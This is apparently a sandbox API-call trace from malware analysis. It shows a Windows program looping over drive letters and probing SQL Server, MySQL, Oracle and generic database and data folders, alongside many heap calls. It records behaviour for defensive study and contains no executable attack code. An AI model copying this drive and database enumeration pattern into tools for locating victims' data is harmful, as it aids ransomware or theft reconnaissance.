GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0125.802] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0125.802] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0125.803] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0125.803] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0125.803] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0125.807] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0125.807] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0125.807] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0125.807] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0125.807] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0125.807] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0125.808] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0125.808] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0125.808] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0125.808] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0125.808] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.808] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName=")")) returned 0xffffffff [0125.808] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.808] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.808] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.808] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.808] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.808] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.808] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e198) returned 1 [0125.808] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e198 | out: hHeap=0x7b0000) returned 1 [0125.809] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.809] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.809] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e138) returned 1 [0125.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e138 | out: hHeap=0x7b0000) returned 1 [0125.809] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.809] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.809] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8) returned 1 [0125.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8 | out: hHeap=0x7b0000) returned 1 [0125.809] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.809] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.809] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.809] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0125.809] GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0125.809] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0125.809] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0125.810] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0125.810] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0125.810] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0125.810] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0125.810] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0125.810] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0125.811] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0125.811] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0125.811] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0125.811] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0125.811] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0125.811] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0125.811] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0125.812] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0125.812] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0125.812] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0125.812] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0125.812] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0125.812] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0125.813] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0125.813] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0125.813] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0125.813] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0125.813] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88) returned 1 [0125.813] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88 | out: hHeap=0x7b0000) returned 1 [0125.813] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mysql\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="1")) returned 0xffffffff [0125.813] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.813] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.813] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.813] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.813] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.813] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.813] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8) returned 1 [0125.813] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8 | out: hHeap=0x7b0000) returned 1 [0125.813] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.813] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.813] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.813] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.813] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38) returned 1 [0125.814] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38 | out: hHeap=0x7b0000) returned 1 [0125.814] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.814] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.814] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.814] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.814] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8) returned 1 [0125.814] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8 | out: hHeap=0x7b0000) returned 1 [0125.814] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.814] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.814] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.814] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.814] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0125.814] GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0125.814] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0125.814] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0125.815] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0125.815] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0125.815] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0125.815] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0125.815] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0125.815] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0125.815] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0125.816] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0125.816] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0125.816] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0125.816] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0125.816] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0125.816] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0125.816] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0125.816] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0125.817] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0125.817] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0125.817] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0125.817] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0125.817] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0125.817] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0125.817] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0125.817] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88 | out: hHeap=0x7b0000) returned 1 [0125.818] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\oracle\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="9")) returned 0xffffffff [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.818] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.818] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.818] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0125.819] GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0125.819] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0125.819] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0125.819] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0125.819] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0125.819] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0125.819] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0125.820] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0125.820] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0125.820] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0125.820] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0125.820] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0125.820] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0125.820] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0125.821] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0125.821] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0125.890] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0125.891] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0125.891] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0125.891] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0125.891] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0125.891] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0125.891] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0125.892] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0125.892] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0125.892] FindFirstFileA (in: lpFileName="C:\\oracle\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="A")) returned 0xffffffff [0125.892] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.892] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.892] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.892] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.892] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.892] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.892] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.892] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.892] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.892] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.892] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.892] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.892] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.892] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.892] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.892] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.892] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.892] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.892] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0125.893] GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0125.893] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0125.893] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0125.893] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0125.893] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0125.893] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0125.893] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0125.894] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0125.894] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0125.894] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0125.894] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0125.894] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0125.894] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0125.894] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0125.895] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0125.895] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0125.895] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0125.895] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0125.895] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0125.895] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0125.895] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0125.896] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0125.896] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0125.896] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0125.896] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0125.896] FindFirstFileA (in: lpFileName="C:\\database\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="I")) returned 0xffffffff [0125.896] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.896] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.896] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.896] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.896] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.896] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.896] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.897] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.897] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.897] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.897] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.897] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.897] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.897] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.897] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.897] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.897] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.897] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.897] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0125.897] GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0125.897] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0125.897] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0125.898] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0125.898] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0125.898] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0125.898] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0125.898] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0125.898] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0125.899] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0125.899] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0125.899] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0125.899] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0125.900] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0125.901] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0125.901] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0125.904] GetDriveTypeA (lpRootPathName="K:") returned 0x1 [0125.904] GetDriveTypeA (lpRootPathName="J:") returned 0x1 [0125.904] GetDriveTypeA (lpRootPathName="I:") returned 0x1 [0125.904] GetDriveTypeA (lpRootPathName="H:") returned 0x1 [0125.904] GetDriveTypeA (lpRootPathName="G:") returned 0x1 [0125.904] GetDriveTypeA (lpRootPathName="F:") returned 0x1 [0125.904] GetDriveTypeA (lpRootPathName="E:") returned 0x1 [0125.904] GetDriveTypeA (lpRootPathName="D:") returned 0x1 [0125.905] GetDriveTypeA (lpRootPathName="C:") returned 0x3 [0125.905] FindFirstFileA (in: lpFileName="C:\\data\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="Q")) returned 0xffffffff [0125.905] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.905] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.905] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.905] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.905] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.905] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.905] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.905] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.905] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.905] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.905] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.905] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.905] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.905] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.905] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.905] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.905] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.905] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.905] GetDriveTypeA (lpRootPathName="B:") returned 0x1 [0125.905] 